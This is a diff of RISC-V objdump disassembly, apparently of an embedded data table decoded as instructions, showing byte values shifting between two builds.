+    1934:	0500                	addi	s0,sp,640
+    1936:	e378                	fsw	fa4,68(a4)
+    1938:	008a                	slli	ra,ra,0x2
+    193a:	0500                	addi	s0,sp,640
+    193c:	008be27b          	0x8be27b
+    1940:	0500                	addi	s0,sp,640
+    1942:	5f7c                	lw	a5,124(a4)
+    1944:	0085                	addi	ra,ra,1
+    1946:	0500                	addi	s0,sp,640
+    1948:	357d                	jal	17f6 <__stack_size+0xff6>
+    194a:	004a                	c.slli	zero,0x12
+    194c:	0500                	addi	s0,sp,640
+    194e:	867e                	mv	a2,t6
+    1950:	008e                	slli	ra,ra,0x3
+    1952:	0500                	addi	s0,sp,640
+    1954:	4e7f                	0x4e7f
+    1956:	0500001b          	0x500001b
+    195a:	0180                	addi	s0,sp,192
+    195c:	1ff2                	slli	t6,t6,0x3c
+    195e:	0000                	unimp
+    1960:	8105                	srli	a0,a0,0x1
+    1962:	0a01                	addi	s4,s4,0
+    1964:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    1968:	0004                	0x4
+    196a:	0500                	addi	s0,sp,640
+    196c:	4102                	lw	sp,0(sp)
+    196e:	0098                	addi	a4,sp,64
+    1970:	0500                	addi	s0,sp,640
+    1972:	ff09                	bnez	a4,188c <__stack_size+0x108c>
+    1974:	0500003b          	0x500003b
+    1978:	170a                	slli	a4,a4,0x22
+    197a:	0060                	addi	s0,sp,12
+    197c:	0000                	unimp
+    197e:	0004                	0x4
+    1980:	0500                	addi	s0,sp,640
+    1982:	01aa                	slli	gp,gp,0xa
+    1984:	2161                	jal	1e0c <__stack_size+0x160c>
+    1986:	0000                	unimp
+    1988:	ab05                	j	1eb8 <__stack_size+0x16b8>
+    198a:	0d01                	addi	s10,s10,0
+    198c:	005d                	c.nop	23
     198e:	0500                	addi	s0,sp,640
-    1990:	01aa                	slli	gp,gp,0xa
-    1992:	6316                	flw	ft6,68(sp)
+    1990:	01ac                	addi	a1,sp,200
+    1992:	9fd2                	add	t6,t6,s4
     1994:	0000                	unimp
-    1996:	ab05                	j	1ec6 <__stack_size+0x16c6>
-    1998:	0301                	addi	t1,t1,0
-    199a:	005c                	addi	a5,sp,4
+    1996:	ad05                	j	1fc6 <__stack_size+0x17c6>
+    1998:	7001                	c.lui	zero,0xfffe0
+    199a:	0024                	addi	s1,sp,8
     199c:	0500                	addi	s0,sp,640
-    199e:	01ac                	addi	a1,sp,200
-    19a0:	9f9a                	add	t6,t6,t1
+    199e:	02c4                	addi	s1,sp,324
+    19a0:	47d6                	lw	a5,84(sp)
     19a2:	0000                	unimp
-    19a4:	ad05                	j	1fd4 <__stack_size+0x17d4>
-    19a6:	c401                	beqz	s0,19ae <__stack_size+0x11ae>
-    19a8:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    19ac:	02c4                	addi	s1,sp,324
-    19ae:	46b9                	li	a3,14
+    19a4:	c505                	beqz	a0,19cc <__stack_size+0x11cc>
+    19a6:	b302                	fsd	ft0,416(sp)
+    19a8:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    19ac:	02c6                	slli	t0,t0,0x11
+    19ae:	3d09                	jal	17c0 <__stack_size+0xfc0>
     19b0:	0000                	unimp
-    19b2:	c505                	beqz	a0,19da <__stack_size+0x11da>
-    19b4:	2302                	fld	ft6,0(sp)
-    19b6:	0004                	0x4
+    19b2:	c705                	beqz	a4,19da <__stack_size+0x11da>
+    19b4:	5d02                	lw	s10,32(sp)
+    19b6:	0080                	addi	s0,sp,64
     19b8:	0500                	addi	s0,sp,640
-    19ba:	02c6                	slli	t0,t0,0x11
-    19bc:	3bfc                	fld	fa5,240(a5)
+    19ba:	02c9                	addi	t0,t0,18
+    19bc:	0bd8                	addi	a4,sp,468
     19be:	0000                	unimp
-    19c0:	c705                	beqz	a4,19e8 <__stack_size+0x11e8>
-    19c2:	da02                	sw	zero,52(sp)
-    19c4:	007f                	0x7f
+    19c0:	ca05                	beqz	a2,19f0 <__stack_size+0x11f0>
+    19c2:	e502                	fsw	ft0,136(sp)
+    19c4:	005e                	c.slli	zero,0x17
     19c6:	0500                	addi	s0,sp,640
-    19c8:	02c9                	addi	t0,t0,18
-    19ca:	0c4a                	slli	s8,s8,0x12
+    19c8:	4ea202cb          	fnmsub.q	ft5,ft4,fa0,fs1,rne
     19cc:	0000                	unimp
-    19ce:	ca05                	beqz	a2,19fe <__stack_size+0x11fe>
-    19d0:	d902                	sw	zero,176(sp)
-    19d2:	005d                	c.nop	23
+    19ce:	cf05                	beqz	a4,1a06 <__stack_size+0x1206>
+    19d0:	8d02                	jr	s10
+    19d2:	005e                	c.slli	zero,0x17
     19d4:	0500                	addi	s0,sp,640
-    19d6:	4da502cb          	0x4da502cb
+    19d6:	02d0                	addi	a2,sp,324
+    19d8:	2929                	jal	1df2 <__stack_size+0x15f2>
     19da:	0000                	unimp
-    19dc:	cf05                	beqz	a4,1a14 <__stack_size+0x1214>
-    19de:	8d02                	jr	s10
-    19e0:	005d                	c.nop	23
-    19e2:	0500                	addi	s0,sp,640
-    19e4:	02d0                	addi	a2,sp,324
-    19e6:	2865                	jal	1a9e <__stack_size+0x129e>
+    19dc:	d105                	beqz	a0,18fc <__stack_size+0x10fc>
+    19de:	fe02                	fsw	ft0,60(sp)
+    19e0:	05000057          	0x5000057
+    19e4:	99b502d7          	0x99b502d7
     19e8:	0000                	unimp
-    19ea:	d105                	beqz	a0,190a <__stack_size+0x110a>
-    19ec:	c102                	sw	zero,128(sp)
-    19ee:	0056                	c.slli	zero,0x15
+    19ea:	d805                	beqz	s0,191a <__stack_size+0x111a>
+    19ec:	2d02                	fld	fs10,0(sp)
+    19ee:	000a                	c.slli	zero,0x2
     19f0:	0500                	addi	s0,sp,640
-    19f2:	991202d7          	0x991202d7
-    19f6:	0000                	unimp
-    19f8:	d805                	beqz	s0,1928 <__stack_size+0x1128>
-    19fa:	9702                	jalr	a4
-    19fc:	000a                	c.slli	zero,0x2
+    19f2:	02d9                	addi	t0,t0,22
+    19f4:	00005bdb          	0x5bdb
+    19f8:	da05                	beqz	a2,1928 <__stack_size+0x1128>
+    19fa:	2102                	fld	ft2,0(sp)
+    19fc:	000e                	c.slli	zero,0x3
     19fe:	0500                	addi	s0,sp,640
-    1a00:	02d9                	addi	t0,t0,22
-    1a02:	5ab8                	lw	a4,112(a3)
+    1a00:	6ffe02db          	0x6ffe02db
     1a04:	0000                	unimp
-    1a06:	da05                	beqz	a2,1936 <__stack_size+0x1136>
-    1a08:	6702                	flw	fa4,0(sp)
-    1a0a:	000e                	c.slli	zero,0x3
+    1a06:	dc05                	beqz	s0,193e <__stack_size+0x113e>
+    1a08:	9b02                	jalr	s6
+    1a0a:	0094                	addi	a3,sp,64
     1a0c:	0500                	addi	s0,sp,640
-    1a0e:	6f6502db          	0x6f6502db
+    1a0e:	02dd                	addi	t0,t0,23
+    1a10:	22b4                	fld	fa3,64(a3)
     1a12:	0000                	unimp
-    1a14:	dc05                	beqz	s0,194c <__stack_size+0x114c>
-    1a16:	0b02                	c.slli64	s6
-    1a18:	0094                	addi	a3,sp,64
+    1a14:	de05                	beqz	a2,194c <__stack_size+0x114c>
+    1a16:	e602                	fsw	ft0,12(sp)
+    1a18:	0001                	nop
     1a1a:	0500                	addi	s0,sp,640
-    1a1c:	02dd                	addi	t0,t0,23
-    1a1e:	90ee                	add	ra,ra,s11
-    1a20:	0000                	unimp
-    1a22:	de05                	beqz	a2,195a <__stack_size+0x115a>
-    1a24:	1102                	slli	sp,sp,0x20
-    1a26:	0002                	c.slli64	zero
+    1a1c:	02df 3aaa 0000      	0x3aaa02df
+    1a22:	e005                	bnez	s0,1a42 <__stack_size+0x1242>
+    1a24:	9b02                	jalr	s6
+    1a26:	0005                	c.nop	1
     1a28:	0500                	addi	s0,sp,640
-    1a2a:	02df 39b7 0000      	0x39b702df
-    1a30:	e005                	bnez	s0,1a50 <__stack_size+0x1250>
-    1a32:	2502                	fld	fa0,0(sp)
-    1a34:	0006                	c.slli	zero,0x1
+    1a2a:	7aa802e3          	beq	a6,a0,29ce <__stack_size+0x21ce>
+    1a2e:	0000                	unimp
+    1a30:	e405                	bnez	s0,1a58 <__stack_size+0x1258>
+    1a32:	1c02                	slli	s8,s8,0x20
+    1a34:	0076                	c.slli	zero,0x1d
     1a36:	0500                	addi	s0,sp,640
-    1a38:	7a2f02e3          	beq	t5,sp,29dc <__stack_size+0x21dc>
-    1a3c:	0000                	unimp
-    1a3e:	e405                	bnez	s0,1a66 <__stack_size+0x1266>
-    1a40:	8102                	jr	sp
-    1a42:	0075                	c.nop	29
+    1a38:	02e5                	addi	t0,t0,25
+    1a3a:	0000224b          	fnmsub.s	ft4,ft0,ft0,ft0,rdn
+    1a3e:	e605                	bnez	a2,1a66 <__stack_size+0x1266>
+    1a40:	2d02                	fld	fs10,0(sp)
+    1a42:	0001                	nop
     1a44:	0500                	addi	s0,sp,640
-    1a46:	02e5                	addi	t0,t0,25
-    1a48:	000021c3          	fmadd.s	ft3,ft0,ft0,ft0,rdn
-    1a4c:	e605                	bnez	a2,1a74 <__stack_size+0x1274>
-    1a4e:	5802                	lw	a6,32(sp)
-    1a50:	0001                	nop
+    1a46:	02e8                	addi	a0,sp,332
+    1a48:	107e                	c.slli	zero,0x3f
+    1a4a:	0000                	unimp
+    1a4c:	e905                	bnez	a0,1a7c <__stack_size+0x127c>
+    1a4e:	9802                	jalr	a6
+    1a50:	0060                	addi	s0,sp,12
     1a52:	0500                	addi	s0,sp,640
-    1a54:	02e8                	addi	a0,sp,332
-    1a56:	10c9                	addi	ra,ra,-14
-    1a58:	0000                	unimp
-    1a5a:	e905                	bnez	a0,1a8a <__stack_size+0x128a>
-    1a5c:	8c02                	jr	s8
-    1a5e:	005f 0500 02ea      	0x2ea0500005f
-    1a64:	20f8                	fld	fa4,192(s1)
-    1a66:	0000                	unimp
-    1a68:	eb05                	bnez	a4,1a98 <__stack_size+0x1298>
-    1a6a:	1902                	slli	s2,s2,0x20
-    1a6c:	0089                	addi	ra,ra,2
+    1a54:	02ea                	slli	t0,t0,0x1a
+    1a56:	0000216b          	0x216b
+    1a5a:	eb05                	bnez	a4,1a8a <__stack_size+0x128a>
+    1a5c:	bc02                	fsd	ft0,56(sp)
+    1a5e:	0089                	addi	ra,ra,2
+    1a60:	0500                	addi	s0,sp,640
+    1a62:	02ec                	addi	a1,sp,332
+    1a64:	0000154b          	fnmsub.s	fa0,ft0,ft0,ft0,rtz
+    1a68:	ed05                	bnez	a0,1aa0 <__stack_size+0x12a0>
+    1a6a:	8502                	jr	a0
+    1a6c:	0001                	nop
     1a6e:	0500                	addi	s0,sp,640
-    1a70:	02ec                	addi	a1,sp,332
-    1a72:	15fc                	addi	a5,sp,748
-    1a74:	0000                	unimp
-    1a76:	ed05                	bnez	a0,1aae <__stack_size+0x12ae>
-    1a78:	b002                	fsd	ft0,32(sp)
-    1a7a:	0001                	nop
-    1a7c:	0500                	addi	s0,sp,640
-    1a7e:	02ee                	slli	t0,t0,0x1b
-    1a80:	1de2                	slli	s11,s11,0x38
+    1a70:	02ee                	slli	t0,t0,0x1b
+    1a72:	00001e03          	lh	t3,0(zero) # 0 <__stack_size-0x800>
+    1a76:	ef05                	bnez	a4,1aae <__stack_size+0x12ae>
+    1a78:	ab02                	fsd	ft0,400(sp)
+    1a7a:	05000053          	0x5000053
+    1a7e:	02f0                	addi	a2,sp,332
+    1a80:	6624                	flw	fs1,72(a2)
     1a82:	0000                	unimp
-    1a84:	ef05                	bnez	a4,1abc <__stack_size+0x12bc>
-    1a86:	8902                	jr	s2
-    1a88:	0052                	c.slli	zero,0x14
+    1a84:	f105                	bnez	a0,19a4 <__stack_size+0x11a4>
+    1a86:	9a02                	jalr	s4
+    1a88:	00a1                	addi	ra,ra,8
     1a8a:	0500                	addi	s0,sp,640
-    1a8c:	02f0                	addi	a2,sp,332
-    1a8e:	6596                	flw	fa1,68(sp)
-    1a90:	0000                	unimp
-    1a92:	f105                	bnez	a0,19b2 <__stack_size+0x11b2>
-    1a94:	8102                	jr	sp
-    1a96:	00a1                	addi	ra,ra,8
+    1a8c:	02f2                	slli	t0,t0,0x1c
+    1a8e:	00001c27          	0x1c27
+    1a92:	f305                	bnez	a4,19b2 <__stack_size+0x11b2>
+    1a94:	1e02                	slli	t3,t3,0x20
+    1a96:	0012                	c.slli	zero,0x4
     1a98:	0500                	addi	s0,sp,640
-    1a9a:	02f2                	slli	t0,t0,0x1c
-    1a9c:	1cf9                	addi	s9,s9,-2
+    1a9a:	02f4                	addi	a3,sp,332
+    1a9c:	5412                	lw	s0,36(sp)
     1a9e:	0000                	unimp
-    1aa0:	f305                	bnez	a4,19c0 <__stack_size+0x11c0>
-    1aa2:	ac02                	fsd	ft0,24(sp)
-    1aa4:	0012                	c.slli	zero,0x4
-    1aa6:	0500                	addi	s0,sp,640
-    1aa8:	02f4                	addi	a3,sp,332
-    1aaa:	52b8                	lw	a4,96(a3)
+    1aa0:	f505                	bnez	a0,19c8 <__stack_size+0x11c8>
+    1aa2:	bf02                	fsd	ft0,440(sp)
+    1aa4:	05000093          	li	ra,80
+    1aa8:	02f6                	slli	t0,t0,0x1d
+    1aaa:	5499                	li	s1,-26
     1aac:	0000                	unimp
-    1aae:	f505                	bnez	a0,19d6 <__stack_size+0x11d6>
-    1ab0:	2502                	fld	fa0,0(sp)
-    1ab2:	05000093          	li	ra,80
-    1ab6:	02f6                	slli	t0,t0,0x1d
-    1ab8:	5342                	lw	t1,48(sp)
+    1aae:	f705                	bnez	a4,19d6 <__stack_size+0x11d6>
+    1ab0:	4502                	lw	a0,0(sp)
+    1ab2:	0070                	addi	a2,sp,12
+    1ab4:	0500                	addi	s0,sp,640
+    1ab6:	02f8                	addi	a4,sp,332
+    1ab8:	5c92                	lw	s9,36(sp)
     1aba:	0000                	unimp
-    1abc:	f705                	bnez	a4,19e4 <__stack_size+0x11e4>
-    1abe:	ac02                	fsd	ft0,24(sp)
-    1ac0:	0500006f          	j	1b10 <__stack_size+0x1310>
-    1ac4:	02f8                	addi	a4,sp,332
-    1ac6:	00005b6f          	jal	s6,6ac6 <__stack_size+0x62c6>
-    1aca:	f905                	bnez	a0,19fa <__stack_size+0x11fa>
-    1acc:	9d02                	jalr	s10
-    1ace:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    1ad2:	02fa                	slli	t0,t0,0x1e
-    1ad4:	87e0                	0x87e0
+    1abc:	f905                	bnez	a0,19ec <__stack_size+0x11ec>
+    1abe:	0d02                	c.slli64	s10
+    1ac0:	0068                	addi	a0,sp,12
+    1ac2:	0500                	addi	s0,sp,640
+    1ac4:	02fa                	slli	t0,t0,0x1e
+    1ac6:	00008883          	lb	a7,0(ra) # 144c <__stack_size+0xc4c>
+    1aca:	fb05                	bnez	a4,19fa <__stack_size+0x11fa>
+    1acc:	b702                	fsd	ft0,424(sp)
+    1ace:	0086                	slli	ra,ra,0x1
+    1ad0:	0500                	addi	s0,sp,640
+    1ad2:	02fc                	addi	a5,sp,332
+    1ad4:	0d8d                	addi	s11,s11,3
     1ad6:	0000                	unimp
-    1ad8:	fb05                	bnez	a4,1a08 <__stack_size+0x1208>
-    1ada:	1402                	slli	s0,s0,0x20
-    1adc:	0086                	slli	ra,ra,0x1
+    1ad8:	fd05                	bnez	a0,1a10 <__stack_size+0x1210>
+    1ada:	0302                	c.slli64	t1
+    1adc:	003a                	c.slli	zero,0xe
     1ade:	0500                	addi	s0,sp,640
-    1ae0:	02fc                	addi	a5,sp,332
-    1ae2:	00000dd3          	fadd.s	fs11,ft0,ft0,rne
-    1ae6:	fd05                	bnez	a0,1a1e <__stack_size+0x121e>
-    1ae8:	1002                	c.slli	zero,0x20
-    1aea:	0039                	c.nop	14
+    1ae0:	02fe                	slli	t0,t0,0x1f
+    1ae2:	62a9                	lui	t0,0xa
+    1ae4:	0000                	unimp
+    1ae6:	ff05                	bnez	a4,1a1e <__stack_size+0x121e>
+    1ae8:	5902                	lw	s2,32(sp)
+    1aea:	0052                	c.slli	zero,0x14
     1aec:	0500                	addi	s0,sp,640
-    1aee:	02fe                	slli	t0,t0,0x1f
-    1af0:	61ac                	flw	fa1,64(a1)
+    1aee:	0380                	addi	s0,sp,448
+    1af0:	7441                	lui	s0,0xffff0
     1af2:	0000                	unimp
-    1af4:	ff05                	bnez	a4,1a2c <__stack_size+0x122c>
-    1af6:	c802                	sw	zero,16(sp)
-    1af8:	0500000f          	fence	ow,unknown
-    1afc:	0380                	addi	s0,sp,448
-    1afe:	73a6                	flw	ft7,104(sp)
+    1af4:	8105                	srli	a0,a0,0x1
+    1af6:	002e9003          	lh	zero,2(t4) # fffff002 <_heap_end+0x7fff0802>
+    1afa:	0500                	addi	s0,sp,640
+    1afc:	0382                	c.slli64	t2
+    1afe:	3c21                	jal	1516 <__stack_size+0xd16>
     1b00:	0000                	unimp
-    1b02:	8105                	srli	a0,a0,0x1
-    1b04:	002d7b03          	0x2d7b03
+    1b02:	8305                	srli	a4,a4,0x1
+    1b04:	000bbe03          	0xbbe03
     1b08:	0500                	addi	s0,sp,640
-    1b0a:	0382                	c.slli64	t2
-    1b0c:	3b14                	fld	fa3,48(a4)
+    1b0a:	0384                	addi	s1,sp,448
+    1b0c:	3b4a                	fld	fs6,176(sp)
     1b0e:	0000                	unimp
-    1b10:	8305                	srli	a4,a4,0x1
-    1b12:	000c3003          	0xc3003
+    1b10:	8505                	srai	a0,a0,0x1
+    1b12:	00247903          	0x247903
     1b16:	0500                	addi	s0,sp,640
-    1b18:	0384                	addi	s1,sp,448
-    1b1a:	3a34                	fld	fa3,112(a2)
+    1b18:	0386                	slli	t2,t2,0x1
+    1b1a:	24be                	fld	fs1,456(sp)
     1b1c:	0000                	unimp
-    1b1e:	8505                	srai	a0,a0,0x1
-    1b20:	0023cd03          	lbu	s10,2(t2)
+    1b1e:	8705                	srai	a4,a4,0x1
+    1b20:	003b0303          	lb	t1,3(s6) # fffe1003 <_heap_end+0x7ffd2803>
     1b24:	0500                	addi	s0,sp,640
-    1b26:	0386                	slli	t2,t2,0x1
-    1b28:	000020db          	0x20db
-    1b2c:	8705                	srai	a4,a4,0x1
-    1b2e:	0039fd03          	0x39fd03
+    1b26:	0388                	addi	a0,sp,448
+    1b28:	047e                	slli	s0,s0,0x1f
+    1b2a:	0000                	unimp
+    1b2c:	8905                	andi	a0,a0,1
+    1b2e:	006c8f03          	lb	t5,6(s9)
     1b32:	0500                	addi	s0,sp,640
-    1b34:	0388                	addi	a0,sp,448
-    1b36:	04fe                	slli	s1,s1,0x1f
+    1b34:	316b038b          	0x316b038b
     1b38:	0000                	unimp
-    1b3a:	8905                	andi	a0,a0,1
-    1b3c:	006bf103          	0x6bf103
+    1b3a:	8c05                	sub	s0,s0,s1
+    1b3c:	00783a03          	0x783a03
     1b40:	0500                	addi	s0,sp,640
-    1b42:	3077038b          	0x3077038b
+    1b42:	038d                	addi	t2,t2,3
+    1b44:	7d75                	lui	s10,0xffffd
     1b46:	0000                	unimp
-    1b48:	8c05                	sub	s0,s0,s1
-    1b4a:	00779d03          	lh	s10,7(a5) # 11007 <__stack_size+0x10807>
+    1b48:	8e05                	sub	a2,a2,s1
+    1b4a:	0006f303          	0x6f303
     1b4e:	0500                	addi	s0,sp,640
-    1b50:	038d                	addi	t2,t2,3
-    1b52:	7cf2                	flw	fs9,60(sp)
+    1b50:	2902038f          	0x2902038f
     1b54:	0000                	unimp
-    1b56:	8e05                	sub	a2,a2,s1
-    1b58:	00073303          	0x73303
+    1b56:	9005                	srli	s0,s0,0x21
+    1b58:	00831103          	lh	sp,8(t1) # fffe0008 <_heap_end+0x7ffd1808>
     1b5c:	0500                	addi	s0,sp,640
-    1b5e:	283e038f          	0x283e038f
+    1b5e:	0391                	addi	t2,t2,4
+    1b60:	56ee                	lw	a3,248(sp)
     1b62:	0000                	unimp
-    1b64:	9005                	srli	s0,s0,0x21
-    1b66:	00828b03          	lb	s6,8(t0)
+    1b64:	9205                	srli	a2,a2,0x21
+    1b66:	006def03          	0x6def03
     1b6a:	0500                	addi	s0,sp,640
-    1b6c:	0391                	addi	t2,t2,4
-    1b6e:	55c0                	lw	s0,44(a1)
+    1b6c:	9feb0393          	addi	t2,s6,-1538
     1b70:	0000                	unimp
-    1b72:	9205                	srli	a2,a2,0x21
-    1b74:	006d5103          	lhu	sp,6(s10) # 9756 <__stack_size+0x8f56>
+    1b72:	9405                	srai	s0,s0,0x21
+    1b74:	00986203          	0x986203
     1b78:	0500                	addi	s0,sp,640
-    1b7a:	9fb30393          	addi	t2,t1,-1541 # fffe09fb <_heap_end+0x7ffd21fb>
-    1b7e:	0000                	unimp
-    1b80:	9405                	srai	s0,s0,0x21
-    1b82:	0097b303          	0x97b303
+    1b7a:	0395                	addi	t2,t2,5
+    1b7c:	00000b73          	0xb73
+    1b80:	9605                	srai	a2,a2,0x21
+    1b82:	002fc403          	lbu	s0,2(t6)
     1b86:	0500                	addi	s0,sp,640
-    1b88:	0395                	addi	t2,t2,5
-    1b8a:	00000beb          	0xbeb
-    1b8e:	9605                	srai	a2,a2,0x21
-    1b90:	002ed003          	lhu	zero,2(t4)
+    1b88:	55330397          	auipc	t2,0x55330
+    1b8c:	0000                	unimp
+    1b8e:	9805                	andi	s0,s0,-31
+    1b90:	00583a03          	0x583a03
     1b94:	0500                	addi	s0,sp,640
-    1b96:	53f70397          	auipc	t2,0x53f70
-    1b9a:	0000                	unimp
-    1b9c:	9805                	andi	s0,s0,-31
-    1b9e:	0056fd03          	0x56fd03
+    1b96:	0399                	addi	t2,t2,6
+    1b98:	0000759b          	0x759b
+    1b9c:	9a05                	andi	a2,a2,-31
+    1b9e:	0016a603          	lw	a2,1(a3) # 2cf3174f <_data_lma+0xcb2d22f>
     1ba2:	0500                	addi	s0,sp,640
-    1ba4:	0399                	addi	t2,t2,6
-    1ba6:	7500                	flw	fs0,40(a0)
+    1ba4:	9c61039b          	0x9c61039b
     1ba8:	0000                	unimp
-    1baa:	9a05                	andi	a2,a2,-31
-    1bac:	00175703          	lhu	a4,1(a4) # fffef001 <_heap_end+0x7ffe0801>
+    1baa:	9c05                	0x9c05
+    1bac:	00622c03          	lw	s8,6(tp) # 1006 <__stack_size+0x806>
     1bb0:	0500                	addi	s0,sp,640
-    1bb2:	9be4039b          	0x9be4039b
+    1bb2:	039d                	addi	t2,t2,7
+    1bb4:	1e79                	addi	t3,t3,-2
     1bb6:	0000                	unimp
-    1bb8:	9c05                	0x9c05
-    1bba:	00612f03          	lw	t5,6(sp)
+    1bb8:	9e05                	0x9e05
+    1bba:	009d3603          	0x9d3603
     1bbe:	0500                	addi	s0,sp,640
-    1bc0:	039d                	addi	t2,t2,7
-    1bc2:	44be                	lw	s1,204(sp)
-    1bc4:	0000                	unimp
-    1bc6:	9e05                	0x9e05
-    1bc8:	009cb903          	0x9cb903
+    1bc0:	039f 5ced 0000      	0x5ced039f
+    1bc6:	a005                	j	1be6 <__stack_size+0x13e6>
+    1bc8:	00543503          	0x543503
     1bcc:	0500                	addi	s0,sp,640
-    1bce:	039f 5be3 0000      	0x5be3039f
-    1bd4:	a005                	j	1bf4 <__stack_size+0x13f4>
-    1bd6:	00070203          	lb	tp,0(a4)
+    1bce:	03a1                	addi	t2,t2,8
+    1bd0:	4fe8                	lw	a0,92(a5)
+    1bd2:	0000                	unimp
+    1bd4:	a205                	j	1cf4 <__stack_size+0x14f4>
+    1bd6:	00942c03          	lw	s8,9(s0) # ffff0009 <_heap_end+0x7ffe1809>
     1bda:	0500                	addi	s0,sp,640
-    1bdc:	03a1                	addi	t2,t2,8
-    1bde:	00004eeb          	0x4eeb
-    1be2:	a205                	j	1d02 <__stack_size+0x1502>
-    1be4:	00939203          	lh	tp,9(t2) # 53f71b9f <_data_lma+0x33b6bbbf>
+    1bdc:	15a403a3          	sb	s10,327(s0)
+    1be0:	0000                	unimp
+    1be2:	a405                	j	1e02 <__stack_size+0x1602>
+    1be4:	00237e03          	0x237e03
     1be8:	0500                	addi	s0,sp,640
-    1bea:	165503a3          	sb	t0,359(a0) # fffe1167 <_heap_end+0x7ffd2967>
+    1bea:	03a5                	addi	t2,t2,9
+    1bec:	7a0d                	lui	s4,0xfffe3
     1bee:	0000                	unimp
-    1bf0:	a405                	j	1e10 <__stack_size+0x1610>
-    1bf2:	0022cd03          	lbu	s10,2(t0)
+    1bf0:	a605                	j	1f10 <__stack_size+0x1710>
+    1bf2:	00472e03          	lw	t3,4(a4) # fffe2004 <_heap_end+0x7ffd3804>
     1bf6:	0500                	addi	s0,sp,640
-    1bf8:	03a5                	addi	t2,t2,9
-    1bfa:	7994                	flw	fa3,48(a1)
+    1bf8:	864403a7          	0x864403a7
     1bfc:	0000                	unimp
-    1bfe:	a605                	j	1f1e <__stack_size+0x171e>
-    1c00:	00462103          	lw	sp,4(a2) # fffe1004 <_heap_end+0x7ffd2804>
+    1bfe:	a805                	j	1c2e <__stack_size+0x142e>
+    1c00:	005d8c03          	lb	s8,5(s11)
     1c04:	0500                	addi	s0,sp,640
-    1c06:	85c803a7          	0x85c803a7
-    1c0a:	0000                	unimp
-    1c0c:	a805                	j	1c3c <__stack_size+0x143c>
-    1c0e:	005c8c03          	lb	s8,5(s9)
+    1c06:	03a9                	addi	t2,t2,10
+    1c08:	00001137          	lui	sp,0x1
+    1c0c:	aa05                	j	1d3c <__stack_size+0x153c>
+    1c0e:	00625503          	lhu	a0,6(tp) # 6 <__stack_size-0x7fa>
     1c12:	0500                	addi	s0,sp,640
-    1c14:	03a9                	addi	t2,t2,10
-    1c16:	000011a3          	sh	zero,3(zero) # 3 <__stack_size-0x7fd>
-    1c1a:	aa05                	j	1d4a <__stack_size+0x154a>
-    1c1c:	00615803          	lhu	a6,6(sp)
+    1c14:	005c03ab          	0x5c03ab
+    1c18:	0000                	unimp
+    1c1a:	ac05                	j	1e4a <__stack_size+0x164a>
+    1c1c:	0078ca03          	lbu	s4,7(a7) # fffe3007 <_heap_end+0x7ffd4807>
     1c20:	0500                	addi	s0,sp,640
-    1c22:	005c03ab          	0x5c03ab
+    1c22:	03ad                	addi	t2,t2,11
+    1c24:	2439                	jal	1e32 <__stack_size+0x1632>
     1c26:	0000                	unimp
-    1c28:	ac05                	j	1e58 <__stack_size+0x1658>
-    1c2a:	00450e03          	lb	t3,4(a0)
+    1c28:	ae05                	j	1f58 <__stack_size+0x1758>
+    1c2a:	002df703          	0x2df703
     1c2e:	0500                	addi	s0,sp,640
-    1c30:	03ad                	addi	t2,t2,11
-    1c32:	238d                	jal	2194 <__stack_size+0x1994>
+    1c30:	3b2003af          	0x3b2003af
     1c34:	0000                	unimp
-    1c36:	ae05                	j	1f66 <__stack_size+0x1766>
-    1c38:	002ce203          	0x2ce203
+    1c36:	b005                	j	1456 <__stack_size+0xc56>
+    1c38:	0046a503          	lw	a0,4(a3)
     1c3c:	0500                	addi	s0,sp,640
-    1c3e:	826103af          	0x826103af
+    1c3e:	03b1                	addi	t2,t2,12
+    1c40:	5c01                	li	s8,-32
     1c42:	0000                	unimp
-    1c44:	b005                	j	1464 <__stack_size+0xc64>
-    1c46:	00459803          	lh	a6,4(a1) # b004 <__stack_size+0xa804>
+    1c44:	b205                	j	1564 <__stack_size+0xd64>
+    1c46:	0052f403          	0x52f403
     1c4a:	0500                	addi	s0,sp,640
-    1c4c:	03b1                	addi	t2,t2,12
-    1c4e:	5ade                	lw	s5,244(sp)
+    1c4c:	037f03b3          	mul	t2,t5,s7
     1c50:	0000                	unimp
-    1c52:	b205                	j	1572 <__stack_size+0xd72>
-    1c54:	0051b203          	0x51b203
+    1c52:	b405                	j	1672 <__stack_size+0xe72>
+    1c54:	008e2503          	lw	a0,8(t3)
     1c58:	0500                	addi	s0,sp,640
-    1c5a:	03f203b3          	mul	t2,tp,t6
-    1c5e:	0000                	unimp
-    1c60:	b405                	j	1680 <__stack_size+0xe80>
-    1c62:	008d7203          	0x8d7203
+    1c5a:	03b5                	addi	t2,t2,13
+    1c5c:	0000818f          	0x818f
+    1c60:	b605                	j	1780 <__stack_size+0xf80>
+    1c62:	0089e903          	0x89e903
     1c66:	0500                	addi	s0,sp,640
-    1c68:	03b5                	addi	t2,t2,13
-    1c6a:	810c                	0x810c
+    1c68:	728e03b7          	lui	t2,0x728e0
     1c6c:	0000                	unimp
-    1c6e:	b605                	j	178e <__stack_size+0xf8e>
-    1c70:	00894603          	lbu	a2,8(s2) # 6ff008 <__stack_size+0x6fe808>
+    1c6e:	b805                	j	149e <__stack_size+0xc9e>
+    1c70:	00420d03          	lb	s10,4(tp) # 4 <__stack_size-0x7fc>
     1c74:	0500                	addi	s0,sp,640
-    1c76:	720d03b7          	lui	t2,0x720d0
-    1c7a:	0000                	unimp
-    1c7c:	b805                	j	14ac <__stack_size+0xcac>
-    1c7e:	00410203          	lb	tp,4(sp)
+    1c76:	03b9                	addi	t2,t2,14
+    1c78:	00007a1b          	0x7a1b
+    1c7c:	ba05                	j	15ac <__stack_size+0xdac>
+    1c7e:	00118503          	lb	a0,1(gp) # 87d70001 <_heap_end+0x7d61801>
     1c82:	0500                	addi	s0,sp,640
-    1c84:	03b9                	addi	t2,t2,14
-    1c86:	79a2                	flw	fs3,40(sp)
+    1c84:	19a503bb          	0x19a503bb
     1c88:	0000                	unimp
-    1c8a:	ba05                	j	15ba <__stack_size+0xdba>
-    1c8c:	0011f103          	0x11f103
+    1c8a:	bc05                	j	16ba <__stack_size+0xeba>
+    1c8c:	0070d703          	lhu	a4,7(ra)
     1c90:	0500                	addi	s0,sp,640
-    1c92:	1a5603bb          	0x1a5603bb
+    1c92:	03bd                	addi	t2,t2,15
+    1c94:	102d                	c.nop	-21
     1c96:	0000                	unimp
